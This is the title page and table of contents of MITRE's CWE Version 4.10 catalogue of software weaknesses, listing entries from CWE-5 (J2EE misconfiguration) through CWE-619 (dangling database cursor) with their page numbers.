



**CWE Version 4.10**

**MITRE**

**CWE Version 4.10**  
**2023-01-31**

*CWE is a Software Assurance strategic initiative sponsored by the National  
Cyber Security Division of the U.S. Department of Homeland Security*

Copyright 2023, The MITRE Corporation

CWE and the CWE logo are trademarks of The MITRE Corporation  
**Contact [cwe@mitre.org](mailto:cwe@mitre.org) for more information**

# Table of Contents

**Symbols Used in CWE**..... xxvi

## Individual CWE Weaknesses

CWE-5: J2EE Misconfiguration: Data Transmission Without Encryption..... 1

CWE-6: J2EE Misconfiguration: Insufficient Session-ID Length..... 2

CWE-7: J2EE Misconfiguration: Missing Custom Error Page..... 4

CWE-8: J2EE Misconfiguration: Entity Bean Declared Remote..... 6

CWE-9: J2EE Misconfiguration: Weak Access Permissions for EJB Methods..... 7

CWE-11: ASP.NET Misconfiguration: Creating Debug Binary..... 9

CWE-12: ASP.NET Misconfiguration: Missing Custom Error Page..... 11

CWE-13: ASP.NET Misconfiguration: Password in Configuration File..... 12

CWE-14: Compiler Removal of Code to Clear Buffers..... 14

CWE-15: External Control of System or Configuration Setting..... 17

CWE-20: Improper Input Validation..... 19

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')..... 33

CWE-23: Relative Path Traversal..... 44

CWE-24: Path Traversal: './filedir'..... 51

CWE-25: Path Traversal: '/../filedir'..... 52

CWE-26: Path Traversal: '/dir../filename'..... 54

CWE-27: Path Traversal: 'dir../filename'..... 56

CWE-28: Path Traversal: './filedir'..... 57

CWE-29: Path Traversal: '\.filename'..... 59

CWE-30: Path Traversal: 'dir..\filename'..... 61

CWE-31: Path Traversal: 'dir\..\filename'..... 62

CWE-32: Path Traversal: '...' (Triple Dot)..... 64

CWE-33: Path Traversal: '....' (Multiple Dot)..... 66

CWE-34: Path Traversal: '.../'..... 68

CWE-35: Path Traversal: '...//'..... 70

CWE-36: Absolute Path Traversal..... 72

CWE-37: Path Traversal: '/absolute/pathname/here'..... 75

CWE-38: Path Traversal: '\absolute\pathname\here'..... 77

CWE-39: Path Traversal: 'C:dirname'..... 79

CWE-40: Path Traversal: '\\UNC\share\name' (Windows UNC Share)..... 81

CWE-41: Improper Resolution of Path Equivalence..... 83

CWE-42: Path Equivalence: 'filename.' (Trailing Dot)..... 89

CWE-43: Path Equivalence: 'filename....' (Multiple Trailing Dot)..... 90

CWE-44: Path Equivalence: 'file.name' (Internal Dot)..... 91

CWE-45: Path Equivalence: 'file..name' (Multiple Internal Dot)..... 92

CWE-46: Path Equivalence: 'filename ' (Trailing Space)..... 93

CWE-47: Path Equivalence: ' filename' (Leading Space)..... 94

CWE-48: Path Equivalence: 'file name' (Internal Whitespace)..... 95

CWE-49: Path Equivalence: 'filename/' (Trailing Slash)..... 96

CWE-50: Path Equivalence: '//multiple/leading/slash'..... 97

CWE-51: Path Equivalence: '/multiple/internal/slash'..... 98

CWE-52: Path Equivalence: '/multiple/trailing/slash/'..... 99

CWE-53: Path Equivalence: '\multiple\internal\backslash'..... 100

CWE-54: Path Equivalence: 'filedir\' (Trailing Backslash)..... 101

CWE-55: Path Equivalence: './.' (Single Dot Directory)..... 102

CWE-56: Path Equivalence: 'filedir\*' (Wildcard)..... 104

CWE-57: Path Equivalence: 'fakedir/./readdir/filename'..... 105

CWE-58: Path Equivalence: Windows 8.3 Filename..... 106

CWE-59: Improper Link Resolution Before File Access ('Link Following')..... 108

CWE-61: UNIX Symbolic Link (Symlink) Following..... 113

CWE-62: UNIX Hard Link..... 115

CWE-64: Windows Shortcut Following (.LNK)..... 117

CWE-65: Windows Hard Link..... 119

CWE-66: Improper Handling of File Names that Identify Virtual Resources..... 121

CWE-67: Improper Handling of Windows Device Names..... 122

CWE-69: Improper Handling of Windows ::DATA Alternate Data Stream.....	125
CWE-72: Improper Handling of Apple HFS+ Alternate Data Stream Path.....	126
CWE-73: External Control of File Name or Path.....	128
CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection').....	133
CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection).....	138
CWE-76: Improper Neutralization of Equivalent Special Elements.....	139
CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection').....	141
CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').....	147
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').....	159
CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS).....	172
CWE-81: Improper Neutralization of Script in an Error Message Web Page.....	175
CWE-82: Improper Neutralization of Script in Attributes of IMG Tags in a Web Page.....	177
CWE-83: Improper Neutralization of Script in Attributes in a Web Page.....	179
CWE-84: Improper Neutralization of Encoded URI Schemes in a Web Page.....	181
CWE-85: Doubled Character XSS Manipulations.....	183
CWE-86: Improper Neutralization of Invalid Characters in Identifiers in Web Pages.....	185
CWE-87: Improper Neutralization of Alternate XSS Syntax.....	186
CWE-88: Improper Neutralization of Argument Delimiters in a Command ('Argument Injection').....	188
CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').....	195
CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection').....	207
CWE-91: XML Injection (aka Blind XPath Injection).....	209
CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection').....	211
CWE-94: Improper Control of Generation of Code ('Code Injection').....	213
CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection').....	220
CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection').....	225
CWE-97: Improper Neutralization of Server-Side Includes (SSI) Within a Web Page.....	228
CWE-98: Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion').....	229
CWE-99: Improper Control of Resource Identifiers ('Resource Injection').....	235
CWE-102: Struts: Duplicate Validation Forms.....	239
CWE-103: Struts: Incomplete validate() Method Definition.....	240
CWE-104: Struts: Form Bean Does Not Extend Validation Class.....	243
CWE-105: Struts: Form Field Without Validator.....	245
CWE-106: Struts: Plug-in Framework not in Use.....	248
CWE-107: Struts: Unused Validation Form.....	251
CWE-108: Struts: Unvalidated Action Form.....	253
CWE-109: Struts: Validator Turned Off.....	254
CWE-110: Struts: Validator Without Form Field.....	256
CWE-111: Direct Use of Unsafe JNI.....	258
CWE-112: Missing XML Validation.....	261
CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting').....	263
CWE-114: Process Control.....	268
CWE-115: Misinterpretation of Input.....	271
CWE-116: Improper Encoding or Escaping of Output.....	272
CWE-117: Improper Output Neutralization for Logs.....	279
CWE-118: Incorrect Access of Indexable Resource ('Range Error').....	282
CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer.....	283
CWE-120: Buffer Copy without Checking Size of Input ('Classic Buffer Overflow').....	294
CWE-121: Stack-based Buffer Overflow.....	303
CWE-122: Heap-based Buffer Overflow.....	307
CWE-123: Write-what-where Condition.....	310
CWE-124: Buffer Underwrite ('Buffer Underflow').....	313
CWE-125: Out-of-bounds Read.....	316
CWE-126: Buffer Over-read.....	320
CWE-127: Buffer Under-read.....	323
CWE-128: Wrap-around Error.....	324
CWE-129: Improper Validation of Array Index.....	327
CWE-130: Improper Handling of Length Parameter Inconsistency.....	336



CWE-131: Incorrect Calculation of Buffer Size.....	340
CWE-134: Use of Externally-Controlled Format String.....	349
CWE-135: Incorrect Calculation of Multi-Byte String Length.....	355
CWE-138: Improper Neutralization of Special Elements.....	357
CWE-140: Improper Neutralization of Delimiters.....	360
CWE-141: Improper Neutralization of Parameter/Argument Delimiters.....	362
CWE-142: Improper Neutralization of Value Delimiters.....	364
CWE-143: Improper Neutralization of Record Delimiters.....	365
CWE-144: Improper Neutralization of Line Delimiters.....	367
CWE-145: Improper Neutralization of Section Delimiters.....	369
CWE-146: Improper Neutralization of Expression/Command Delimiters.....	371
CWE-147: Improper Neutralization of Input Terminators.....	373
CWE-148: Improper Neutralization of Input Leaders.....	375
CWE-149: Improper Neutralization of Quoting Syntax.....	376
CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences.....	377
CWE-151: Improper Neutralization of Comment Delimiters.....	380
CWE-152: Improper Neutralization of Macro Symbols.....	382
CWE-153: Improper Neutralization of Substitution Characters.....	384
CWE-154: Improper Neutralization of Variable Name Delimiters.....	385
CWE-155: Improper Neutralization of Wildcards or Matching Symbols.....	387
CWE-156: Improper Neutralization of Whitespace.....	389
CWE-157: Failure to Sanitize Paired Delimiters.....	391
CWE-158: Improper Neutralization of Null Byte or NUL Character.....	392
CWE-159: Improper Handling of Invalid Use of Special Elements.....	395
CWE-160: Improper Neutralization of Leading Special Elements.....	397
CWE-161: Improper Neutralization of Multiple Leading Special Elements.....	398
CWE-162: Improper Neutralization of Trailing Special Elements.....	400
CWE-163: Improper Neutralization of Multiple Trailing Special Elements.....	401
CWE-164: Improper Neutralization of Internal Special Elements.....	403
CWE-165: Improper Neutralization of Multiple Internal Special Elements.....	404
CWE-166: Improper Handling of Missing Special Element.....	406
CWE-167: Improper Handling of Additional Special Element.....	408
CWE-168: Improper Handling of Inconsistent Special Elements.....	409
CWE-170: Improper Null Termination.....	411
CWE-172: Encoding Error.....	415
CWE-173: Improper Handling of Alternate Encoding.....	417
CWE-174: Double Decoding of the Same Data.....	419
CWE-175: Improper Handling of Mixed Encoding.....	421
CWE-176: Improper Handling of Unicode Encoding.....	422
CWE-177: Improper Handling of URL Encoding (Hex Encoding).....	424
CWE-178: Improper Handling of Case Sensitivity.....	427
CWE-179: Incorrect Behavior Order: Early Validation.....	430
CWE-180: Incorrect Behavior Order: Validate Before Canonicalize.....	433
CWE-181: Incorrect Behavior Order: Validate Before Filter.....	435
CWE-182: Collapse of Data into Unsafe Value.....	437
CWE-183: Permissive List of Allowed Inputs.....	439
CWE-184: Incomplete List of Disallowed Inputs.....	441
CWE-185: Incorrect Regular Expression.....	444
CWE-186: Overly Restrictive Regular Expression.....	447
CWE-187: Partial String Comparison.....	448
CWE-188: Reliance on Data/Memory Layout.....	451
CWE-190: Integer Overflow or Wraparound.....	453
CWE-191: Integer Underflow (Wrap or Wraparound).....	460
CWE-192: Integer Coercion Error.....	463
CWE-193: Off-by-one Error.....	466
CWE-194: Unexpected Sign Extension.....	471
CWE-195: Signed to Unsigned Conversion Error.....	474
CWE-196: Unsigned to Signed Conversion Error.....	477
CWE-197: Numeric Truncation Error.....	479
CWE-198: Use of Incorrect Byte Ordering.....	483
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.....	484

CWE-201: Insertion of Sensitive Information Into Sent Data.....	493
CWE-202: Exposure of Sensitive Information Through Data Queries.....	495
CWE-203: Observable Discrepancy.....	497
CWE-204: Observable Response Discrepancy.....	501
CWE-205: Observable Behavioral Discrepancy.....	504
CWE-206: Observable Internal Behavioral Discrepancy.....	505
CWE-207: Observable Behavioral Discrepancy With Equivalent Products.....	507
CWE-208: Observable Timing Discrepancy.....	508
CWE-209: Generation of Error Message Containing Sensitive Information.....	510
CWE-210: Self-generated Error Message Containing Sensitive Information.....	516
CWE-211: Externally-Generated Error Message Containing Sensitive Information.....	518
CWE-212: Improper Removal of Sensitive Information Before Storage or Transfer.....	520
CWE-213: Exposure of Sensitive Information Due to Incompatible Policies.....	523
CWE-214: Invocation of Process Using Visible Sensitive Information.....	525
CWE-215: Insertion of Sensitive Information Into Debugging Code.....	527
CWE-219: Storage of File with Sensitive Data Under Web Root.....	529
CWE-220: Storage of File With Sensitive Data Under FTP Root.....	530
CWE-221: Information Loss or Omission.....	531
CWE-222: Truncation of Security-relevant Information.....	532
CWE-223: Omission of Security-relevant Information.....	533
CWE-224: Obscured Security-relevant Information by Alternate Name.....	535
CWE-226: Sensitive Information in Resource Not Removed Before Reuse.....	536
CWE-228: Improper Handling of Syntactically Invalid Structure.....	540
CWE-229: Improper Handling of Values.....	542
CWE-230: Improper Handling of Missing Values.....	543
CWE-231: Improper Handling of Extra Values.....	544
CWE-232: Improper Handling of Undefined Values.....	545
CWE-233: Improper Handling of Parameters.....	546
CWE-234: Failure to Handle Missing Parameter.....	547
CWE-235: Improper Handling of Extra Parameters.....	550
CWE-236: Improper Handling of Undefined Parameters.....	551
CWE-237: Improper Handling of Structural Elements.....	552
CWE-238: Improper Handling of Incomplete Structural Elements.....	553
CWE-239: Failure to Handle Incomplete Element.....	554
CWE-240: Improper Handling of Inconsistent Structural Elements.....	555
CWE-241: Improper Handling of Unexpected Data Type.....	555
CWE-242: Use of Inherently Dangerous Function.....	557
CWE-243: Creation of chroot Jail Without Changing Working Directory.....	559
CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection').....	561
CWE-245: J2EE Bad Practices: Direct Management of Connections.....	563
CWE-246: J2EE Bad Practices: Direct Use of Sockets.....	564
CWE-248: Uncaught Exception.....	566
CWE-250: Execution with Unnecessary Privileges.....	568
CWE-252: Unchecked Return Value.....	575
CWE-253: Incorrect Check of Function Return Value.....	582
CWE-256: Plaintext Storage of a Password.....	583
CWE-257: Storing Passwords in a Recoverable Format.....	586
CWE-258: Empty Password in Configuration File.....	589
CWE-259: Use of Hard-coded Password.....	591
CWE-260: Password in Configuration File.....	596
CWE-261: Weak Encoding for Password.....	598
CWE-262: Not Using Password Aging.....	600
CWE-263: Password Aging with Long Expiration.....	602
CWE-266: Incorrect Privilege Assignment.....	605
CWE-267: Privilege Defined With Unsafe Actions.....	608
CWE-268: Privilege Chaining.....	611
CWE-269: Improper Privilege Management.....	613
CWE-270: Privilege Context Switching Error.....	618
CWE-271: Privilege Dropping / Lowering Errors.....	620
CWE-272: Least Privilege Violation.....	623
CWE-273: Improper Check for Dropped Privileges.....	626

CWE-274: Improper Handling of Insufficient Privileges.....	629
CWE-276: Incorrect Default Permissions.....	630
CWE-277: Insecure Inherited Permissions.....	634
CWE-278: Insecure Preserved Inherited Permissions.....	635
CWE-279: Incorrect Execution-Assigned Permissions.....	636
CWE-280: Improper Handling of Insufficient Permissions or Privileges .....	638
CWE-281: Improper Preservation of Permissions.....	640
CWE-282: Improper Ownership Management.....	641
CWE-283: Unverified Ownership.....	643
CWE-284: Improper Access Control.....	644
CWE-285: Improper Authorization.....	649
CWE-286: Incorrect User Management.....	656
CWE-287: Improper Authentication.....	657
CWE-288: Authentication Bypass Using an Alternate Path or Channel.....	664
CWE-289: Authentication Bypass by Alternate Name.....	666
CWE-290: Authentication Bypass by Spoofing.....	668
CWE-291: Reliance on IP Address for Authentication.....	671
CWE-293: Using Referer Field for Authentication.....	673
CWE-294: Authentication Bypass by Capture-replay.....	675
CWE-295: Improper Certificate Validation.....	677
CWE-296: Improper Following of a Certificate's Chain of Trust.....	682
CWE-297: Improper Validation of Certificate with Host Mismatch.....	684
CWE-298: Improper Validation of Certificate Expiration.....	688
CWE-299: Improper Check for Certificate Revocation.....	690
CWE-300: Channel Accessible by Non-Endpoint.....	692
CWE-301: Reflection Attack in an Authentication Protocol.....	695
CWE-302: Authentication Bypass by Assumed-Immutable Data.....	697
CWE-303: Incorrect Implementation of Authentication Algorithm.....	699
CWE-304: Missing Critical Step in Authentication.....	700
CWE-305: Authentication Bypass by Primary Weakness.....	702
CWE-306: Missing Authentication for Critical Function.....	703
CWE-307: Improper Restriction of Excessive Authentication Attempts.....	709
CWE-308: Use of Single-factor Authentication.....	713
CWE-309: Use of Password System for Primary Authentication.....	716
CWE-311: Missing Encryption of Sensitive Data.....	718
CWE-312: Cleartext Storage of Sensitive Information.....	725
CWE-313: Cleartext Storage in a File or on Disk.....	731
CWE-314: Cleartext Storage in the Registry.....	733
CWE-315: Cleartext Storage of Sensitive Information in a Cookie.....	734
CWE-316: Cleartext Storage of Sensitive Information in Memory.....	736
CWE-317: Cleartext Storage of Sensitive Information in GUI.....	737
CWE-318: Cleartext Storage of Sensitive Information in Executable.....	739
CWE-319: Cleartext Transmission of Sensitive Information.....	740
CWE-321: Use of Hard-coded Cryptographic Key.....	745
CWE-322: Key Exchange without Entity Authentication.....	749
CWE-323: Reusing a Nonce, Key Pair in Encryption.....	750
CWE-324: Use of a Key Past its Expiration Date.....	752
CWE-325: Missing Cryptographic Step.....	754
CWE-326: Inadequate Encryption Strength.....	756
CWE-327: Use of a Broken or Risky Cryptographic Algorithm.....	758
CWE-328: Use of Weak Hash.....	765
CWE-329: Generation of Predictable IV with CBC Mode.....	769
CWE-330: Use of Insufficiently Random Values.....	772
CWE-331: Insufficient Entropy.....	778
CWE-332: Insufficient Entropy in PRNG.....	781
CWE-333: Improper Handling of Insufficient Entropy in TRNG.....	783
CWE-334: Small Space of Random Values.....	784
CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG).....	786
CWE-336: Same Seed in Pseudo-Random Number Generator (PRNG).....	789
CWE-337: Predictable Seed in Pseudo-Random Number Generator (PRNG).....	791
CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG).....	793

CWE-339: Small Seed Space in PRNG.....	796
CWE-340: Generation of Predictable Numbers or Identifiers.....	798
CWE-341: Predictable from Observable State.....	799
CWE-342: Predictable Exact Value from Previous Values.....	801
CWE-343: Predictable Value Range from Previous Values.....	802
CWE-344: Use of Invariant Value in Dynamically Changing Context.....	804
CWE-345: Insufficient Verification of Data Authenticity.....	805
CWE-346: Origin Validation Error.....	808
CWE-347: Improper Verification of Cryptographic Signature.....	811
CWE-348: Use of Less Trusted Source.....	813
CWE-349: Acceptance of Extraneous Untrusted Data With Trusted Data.....	815
CWE-350: Reliance on Reverse DNS Resolution for a Security-Critical Action.....	817
CWE-351: Insufficient Type Distinction.....	820
CWE-352: Cross-Site Request Forgery (CSRF).....	821
CWE-353: Missing Support for Integrity Check.....	828
CWE-354: Improper Validation of Integrity Check Value.....	830
CWE-356: Product UI does not Warn User of Unsafe Actions.....	832
CWE-357: Insufficient UI Warning of Dangerous Operations.....	833
CWE-358: Improperly Implemented Security Check for Standard.....	834
CWE-359: Exposure of Private Personal Information to an Unauthorized Actor.....	836
CWE-360: Trust of System Event Data.....	840
CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition').....	841
CWE-363: Race Condition Enabling Link Following.....	849
CWE-364: Signal Handler Race Condition.....	851
CWE-366: Race Condition within a Thread.....	856
CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition.....	858
CWE-368: Context Switching Race Condition.....	863
CWE-369: Divide By Zero.....	865
CWE-370: Missing Check for Certificate Revocation after Initial Check.....	868
CWE-372: Incomplete Internal State Distinction.....	870
CWE-374: Passing Mutable Objects to an Untrusted Method.....	871
CWE-375: Returning a Mutable Object to an Untrusted Caller.....	874
CWE-377: Insecure Temporary File.....	876
CWE-378: Creation of Temporary File With Insecure Permissions.....	879
CWE-379: Creation of Temporary File in Directory with Insecure Permissions.....	881
CWE-382: J2EE Bad Practices: Use of System.exit().....	883
CWE-383: J2EE Bad Practices: Direct Use of Threads.....	885
CWE-384: Session Fixation.....	887
CWE-385: Covert Timing Channel.....	890
CWE-386: Symbolic Name not Mapping to Correct Object.....	892
CWE-390: Detection of Error Condition Without Action.....	893
CWE-391: Unchecked Error Condition.....	898
CWE-392: Missing Report of Error Condition.....	901
CWE-393: Return of Wrong Status Code.....	903
CWE-394: Unexpected Status Code or Return Value.....	904
CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference.....	906
CWE-396: Declaration of Catch for Generic Exception.....	908
CWE-397: Declaration of Throws for Generic Exception.....	910
CWE-400: Uncontrolled Resource Consumption.....	912
CWE-401: Missing Release of Memory after Effective Lifetime.....	921
CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak').....	924
CWE-403: Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak').....	925
CWE-404: Improper Resource Shutdown or Release.....	927
CWE-405: Asymmetric Resource Consumption (Amplification).....	933
CWE-406: Insufficient Control of Network Message Volume (Network Amplification).....	937
CWE-407: Inefficient Algorithmic Complexity.....	939
CWE-408: Incorrect Behavior Order: Early Amplification.....	942
CWE-409: Improper Handling of Highly Compressed Data (Data Amplification).....	943
CWE-410: Insufficient Resource Pool.....	945
CWE-412: Unrestricted Externally Accessible Lock.....	947

CWE-413: Improper Resource Locking.....	950
CWE-414: Missing Lock Check.....	953
CWE-415: Double Free.....	954
CWE-416: Use After Free.....	958
CWE-419: Unprotected Primary Channel.....	962
CWE-420: Unprotected Alternate Channel.....	963
CWE-421: Race Condition During Access to Alternate Channel.....	965
CWE-422: Unprotected Windows Messaging Channel ('Shatter').....	966
CWE-424: Improper Protection of Alternate Path.....	968
CWE-425: Direct Request ('Forced Browsing').....	969
CWE-426: Untrusted Search Path.....	972
CWE-427: Uncontrolled Search Path Element.....	977
CWE-428: Unquoted Search Path or Element.....	982
CWE-430: Deployment of Wrong Handler.....	985
CWE-431: Missing Handler.....	986
CWE-432: Dangerous Signal Handler not Disabled During Sensitive Operations.....	988
CWE-433: Unparsed Raw Web Content Delivery.....	989
CWE-434: Unrestricted Upload of File with Dangerous Type.....	991
CWE-435: Improper Interaction Between Multiple Correctly-Behaving Entities.....	998
CWE-436: Interpretation Conflict.....	1000
CWE-437: Incomplete Model of Endpoint Features.....	1002
CWE-439: Behavioral Change in New Version or Environment.....	1003
CWE-440: Expected Behavior Violation.....	1004
CWE-441: Unintended Proxy or Intermediary ('Confused Deputy').....	1005
CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').....	1009
CWE-446: UI Discrepancy for Security Feature.....	1014
CWE-447: Unimplemented or Unsupported Feature in UI.....	1015
CWE-448: Obsolete Feature in UI.....	1017
CWE-449: The UI Performs the Wrong Action.....	1017
CWE-450: Multiple Interpretations of UI Input.....	1019
CWE-451: User Interface (UI) Misrepresentation of Critical Information.....	1020
CWE-453: Insecure Default Variable Initialization.....	1024
CWE-454: External Initialization of Trusted Variables or Data Stores.....	1025
CWE-455: Non-exit on Failed Initialization.....	1028
CWE-456: Missing Initialization of a Variable.....	1029
CWE-457: Use of Uninitialized Variable.....	1034
CWE-459: Incomplete Cleanup.....	1038
CWE-460: Improper Cleanup on Thrown Exception.....	1041
CWE-462: Duplicate Key in Associative List (Alist).....	1043
CWE-463: Deletion of Data Structure Sentinel.....	1045
CWE-464: Addition of Data Structure Sentinel.....	1047
CWE-466: Return of Pointer Value Outside of Expected Range.....	1049
CWE-467: Use of sizeof() on a Pointer Type.....	1050
CWE-468: Incorrect Pointer Scaling.....	1053
CWE-469: Use of Pointer Subtraction to Determine Size.....	1055
CWE-470: Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection').....	1057
CWE-471: Modification of Assumed-Immutable Data (MAID).....	1060
CWE-472: External Control of Assumed-Immutable Web Parameter.....	1062
CWE-473: PHP External Variable Modification.....	1066
CWE-474: Use of Function with Inconsistent Implementations.....	1067
CWE-475: Undefined Behavior for Input to API.....	1069
CWE-476: NULL Pointer Dereference.....	1070
CWE-477: Use of Obsolete Function.....	1076
CWE-478: Missing Default Case in Multiple Condition Expression.....	1079
CWE-479: Signal Handler Use of a Non-reentrant Function.....	1084
CWE-480: Use of Incorrect Operator.....	1087
CWE-481: Assigning instead of Comparing.....	1090
CWE-482: Comparing instead of Assigning.....	1093
CWE-483: Incorrect Block Delimitation.....	1095
CWE-484: Omitted Break Statement in Switch.....	1097
CWE-486: Comparison of Classes by Name.....	1100



CWE-487: Reliance on Package-level Scope.....	1102
CWE-488: Exposure of Data Element to Wrong Session.....	1104
CWE-489: Active Debug Code.....	1106
CWE-491: Public cloneable() Method Without Final ('Object Hijack').....	1108
CWE-492: Use of Inner Class Containing Sensitive Data.....	1110
CWE-493: Critical Public Variable Without Final Modifier.....	1117
CWE-494: Download of Code Without Integrity Check.....	1119
CWE-495: Private Data Structure Returned From A Public Method.....	1123
CWE-496: Public Data Assigned to Private Array-Typed Field.....	1125
CWE-497: Exposure of Sensitive System Information to an Unauthorized Control Sphere.....	1127
CWE-498: Cloneable Class Containing Sensitive Information.....	1130
CWE-499: Serializable Class Containing Sensitive Data.....	1132
CWE-500: Public Static Field Not Marked Final.....	1133
CWE-501: Trust Boundary Violation.....	1135
CWE-502: Deserialization of Untrusted Data.....	1137
CWE-506: Embedded Malicious Code.....	1142
CWE-507: Trojan Horse.....	1144
CWE-508: Non-Replicating Malicious Code.....	1145
CWE-509: Replicating Malicious Code (Virus or Worm).....	1146
CWE-510: Trapdoor.....	1147
CWE-511: Logic/Time Bomb.....	1149
CWE-512: Spyware.....	1150
CWE-514: Covert Channel.....	1151
CWE-515: Covert Storage Channel.....	1152
CWE-520: .NET Misconfiguration: Use of Impersonation.....	1154
CWE-521: Weak Password Requirements.....	1154
CWE-522: Insufficiently Protected Credentials.....	1157
CWE-523: Unprotected Transport of Credentials.....	1161
CWE-524: Use of Cache Containing Sensitive Information.....	1163
CWE-525: Use of Web Browser Cache Containing Sensitive Information.....	1164
CWE-526: Cleartext Storage of Sensitive Information in an Environment Variable.....	1165
CWE-527: Exposure of Version-Control Repository to an Unauthorized Control Sphere.....	1167
CWE-528: Exposure of Core Dump File to an Unauthorized Control Sphere.....	1168
CWE-529: Exposure of Access Control List Files to an Unauthorized Control Sphere.....	1168
CWE-530: Exposure of Backup File to an Unauthorized Control Sphere.....	1169
CWE-531: Inclusion of Sensitive Information in Test Code.....	1170
CWE-532: Insertion of Sensitive Information into Log File.....	1171
CWE-535: Exposure of Information Through Shell Error Message.....	1174
CWE-536: Servlet Runtime Error Message Containing Sensitive Information.....	1175
CWE-537: Java Runtime Error Message Containing Sensitive Information.....	1176
CWE-538: Insertion of Sensitive Information into Externally-Accessible File or Directory.....	1178
CWE-539: Use of Persistent Cookies Containing Sensitive Information.....	1179
CWE-540: Inclusion of Sensitive Information in Source Code.....	1180
CWE-541: Inclusion of Sensitive Information in an Include File.....	1181
CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context.....	1183
CWE-544: Missing Standardized Error Handling Mechanism.....	1185
CWE-546: Suspicious Comment.....	1186
CWE-547: Use of Hard-coded, Security-relevant Constants.....	1187
CWE-548: Exposure of Information Through Directory Listing.....	1189
CWE-549: Missing Password Field Masking.....	1190
CWE-550: Server-generated Error Message Containing Sensitive Information.....	1191
CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization.....	1192
CWE-552: Files or Directories Accessible to External Parties.....	1193
CWE-553: Command Shell in Externally Accessible Directory.....	1195
CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework.....	1196
CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File.....	1197
CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation.....	1198
CWE-558: Use of getlogin() in Multithreaded Application.....	1199
CWE-560: Use of umask() with chmod-style Argument.....	1200
CWE-561: Dead Code.....	1201
CWE-562: Return of Stack Variable Address.....	1204

CWE-563: Assignment to Variable without Use.....	1206
CWE-564: SQL Injection: Hibernate.....	1207
CWE-565: Reliance on Cookies without Validation and Integrity Checking.....	1209
CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key.....	1211
CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context.....	1213
CWE-568: finalize() Method Without super.finalize().....	1215
CWE-570: Expression is Always False.....	1216
CWE-571: Expression is Always True.....	1219
CWE-572: Call to Thread run() instead of start().....	1221
CWE-573: Improper Following of Specification by Caller.....	1222
CWE-574: EJB Bad Practices: Use of Synchronization Primitives.....	1224
CWE-575: EJB Bad Practices: Use of AWT Swing.....	1225
CWE-576: EJB Bad Practices: Use of Java I/O.....	1228
CWE-577: EJB Bad Practices: Use of Sockets.....	1229
CWE-578: EJB Bad Practices: Use of Class Loader.....	1231
CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session.....	1233
CWE-580: clone() Method Without super.clone().....	1234
CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined.....	1236
CWE-582: Array Declared Public, Final, and Static.....	1237
CWE-583: finalize() Method Declared Public.....	1238
CWE-584: Return Inside Finally Block.....	1240
CWE-585: Empty Synchronized Block.....	1241
CWE-586: Explicit Call to Finalize().....	1243
CWE-587: Assignment of a Fixed Address to a Pointer.....	1244
CWE-588: Attempt to Access Child of a Non-structure Pointer.....	1246
CWE-589: Call to Non-ubiquitous API.....	1247
CWE-590: Free of Memory not on the Heap.....	1248
CWE-591: Sensitive Data Storage in Improperly Locked Memory.....	1251
CWE-593: Authentication Bypass: OpenSSL CTX Object Modified after SSL Objects are Created.....	1252
CWE-594: J2EE Framework: Saving Unserializable Objects to Disk.....	1254
CWE-595: Comparison of Object References Instead of Object Contents.....	1256
CWE-597: Use of Wrong Operator in String Comparison.....	1258
CWE-598: Use of GET Request Method With Sensitive Query Strings.....	1262
CWE-599: Missing Validation of OpenSSL Certificate.....	1263
CWE-600: Uncaught Exception in Servlet.....	1264
CWE-601: URL Redirection to Untrusted Site ('Open Redirect').....	1266
CWE-602: Client-Side Enforcement of Server-Side Security.....	1271
CWE-603: Use of Client-Side Authentication.....	1275
CWE-605: Multiple Binds to the Same Port.....	1277
CWE-606: Unchecked Input for Loop Condition.....	1278
CWE-607: Public Static Final Field References Mutable Object.....	1280
CWE-608: Struts: Non-private Field in ActionForm Class.....	1281
CWE-609: Double-Checked Locking.....	1283
CWE-610: Externally Controlled Reference to a Resource in Another Sphere.....	1285
CWE-611: Improper Restriction of XML External Entity Reference.....	1286
CWE-612: Improper Authorization of Index Containing Sensitive Information.....	1290
CWE-613: Insufficient Session Expiration.....	1291
CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute.....	1292
CWE-615: Inclusion of Sensitive Information in Source Code Comments.....	1294
CWE-616: Incomplete Identification of Uploaded File Variables (PHP).....	1295
CWE-617: Reachable Assertion.....	1297
CWE-618: Exposed Unsafe ActiveX Method.....	1299
CWE-619: Dangling Database Cursor ('Cursor Injection').....	1300
